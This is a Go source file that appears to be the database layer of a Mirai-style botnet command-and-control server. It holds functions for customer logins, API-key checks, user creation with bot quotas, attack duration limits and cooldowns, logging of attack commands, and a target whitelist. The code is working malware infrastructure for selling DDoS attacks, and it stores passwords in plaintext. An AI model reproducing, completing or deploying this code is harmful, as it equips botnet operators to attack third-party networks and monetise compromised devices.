146 lines
5.0 KiB
Go
Executable File
146 lines
5.0 KiB
Go
Executable File
package main
|
|
|
|
import (
|
|
"database/sql"
|
|
"fmt"
|
|
"net"
|
|
"encoding/binary"
|
|
_ "github.com/go-sql-driver/mysql"
|
|
"time"
|
|
"errors"
|
|
)
|
|
|
|
type Database struct {
|
|
db *sql.DB
|
|
}
|
|
|
|
type AccountInfo struct {
|
|
username string
|
|
maxBots int
|
|
admin int
|
|
}
|
|
|
|
func NewDatabase(dbAddr string, dbUser string, dbPassword string, dbName string) *Database {
|
|
db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(%s)/%s", dbUser, dbPassword, dbAddr, dbName))
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
fmt.Println("Mysql DB opened")
|
|
return &Database{db}
|
|
}
|
|
|
|
func (this *Database) TryLogin(username string, password string) (bool, AccountInfo) {
|
|
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE username = ? AND password = ? AND (wrc = 0 OR (UNIX_TIMESTAMP() - last_paid < `intvl` * 24 * 60 * 60))", username, password)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
return false, AccountInfo{"", 0, 0}
|
|
}
|
|
defer rows.Close()
|
|
if !rows.Next() {
|
|
return false, AccountInfo{"", 0, 0}
|
|
}
|
|
var accInfo AccountInfo
|
|
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
|
return true, accInfo
|
|
}
|
|
|
|
func (this *Database) CreateUser(username string, password string, max_bots int, duration int, cooldown int) bool {
|
|
rows, err := this.db.Query("SELECT username FROM users WHERE username = ?", username)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
return false
|
|
}
|
|
if rows.Next() {
|
|
return false
|
|
}
|
|
this.db.Exec("INSERT INTO users (username, password, max_bots, admin, last_paid, cooldown, duration_limit) VALUES (?, ?, ?, 0, UNIX_TIMESTAMP(), ?, ?)", username, password, max_bots, cooldown, duration)
|
|
return true
|
|
}
|
|
|
|
func (this *Database) ContainsWhitelistedTargets(attack *Attack) bool {
|
|
rows, err := this.db.Query("SELECT prefix, netmask FROM whitelist")
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
return false
|
|
}
|
|
defer rows.Close()
|
|
for rows.Next() {
|
|
var prefix string
|
|
var netmask uint8
|
|
rows.Scan(&prefix, &netmask)
|
|
|
|
// Parse prefix
|
|
ip := net.ParseIP(prefix)
|
|
ip = ip[12:]
|
|
iWhitelistPrefix := binary.BigEndian.Uint32(ip)
|
|
|
|
for aPNetworkOrder, aN := range attack.Targets {
|
|
rvBuf := make([]byte, 4)
|
|
binary.BigEndian.PutUint32(rvBuf, aPNetworkOrder)
|
|
iAttackPrefix := binary.BigEndian.Uint32(rvBuf)
|
|
if aN > netmask { // Whitelist is less specific than attack target
|
|
if netshift(iWhitelistPrefix, netmask) == netshift(iAttackPrefix, netmask) {
|
|
return true
|
|
}
|
|
} else if aN < netmask { // Attack target is less specific than whitelist
|
|
if (iAttackPrefix >> aN) == (iWhitelistPrefix >> aN) {
|
|
return true
|
|
}
|
|
} else { // Both target and whitelist have same prefix
|
|
if (iWhitelistPrefix == iAttackPrefix) {
|
|
return true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
func (this *Database) CanLaunchAttack(username string, duration uint32, fullCommand string, maxBots int, allowConcurrent int) (bool, error) {
|
|
rows, err := this.db.Query("SELECT id, duration_limit, cooldown FROM users WHERE username = ?", username)
|
|
defer rows.Close()
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
var userId, durationLimit, cooldown uint32
|
|
if !rows.Next() {
|
|
return false, errors.New("Your access has been terminated")
|
|
}
|
|
rows.Scan(&userId, &durationLimit, &cooldown)
|
|
|
|
if durationLimit != 0 && duration > durationLimit {
|
|
return false, errors.New(fmt.Sprintf("You may not send attacks longer than %d seconds.", durationLimit))
|
|
}
|
|
rows.Close()
|
|
|
|
if allowConcurrent == 0 {
|
|
rows, err = this.db.Query("SELECT time_sent, duration FROM history WHERE user_id = ? AND (time_sent + duration + ?) > UNIX_TIMESTAMP()", userId, cooldown)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
}
|
|
if rows.Next() {
|
|
var timeSent, historyDuration uint32
|
|
rows.Scan(&timeSent, &historyDuration)
|
|
return false, errors.New(fmt.Sprintf("Please wait %d seconds before sending another attack", (timeSent + historyDuration + cooldown) - uint32(time.Now().Unix())))
|
|
}
|
|
}
|
|
|
|
this.db.Exec("INSERT INTO history (user_id, time_sent, duration, command, max_bots) VALUES (?, UNIX_TIMESTAMP(), ?, ?, ?)", userId, duration, fullCommand, maxBots)
|
|
return true, nil
|
|
}
|
|
|
|
func (this *Database) CheckApiCode(apikey string) (bool, AccountInfo) {
|
|
rows, err := this.db.Query("SELECT username, max_bots, admin FROM users WHERE api_key = ?", apikey)
|
|
if err != nil {
|
|
fmt.Println(err)
|
|
return false, AccountInfo{"", 0, 0}
|
|
}
|
|
defer rows.Close()
|
|
if !rows.Next() {
|
|
return false, AccountInfo{"", 0, 0}
|
|
}
|
|
var accInfo AccountInfo
|
|
rows.Scan(&accInfo.username, &accInfo.maxBots, &accInfo.admin)
|
|
return true, accInfo
|
|
}
|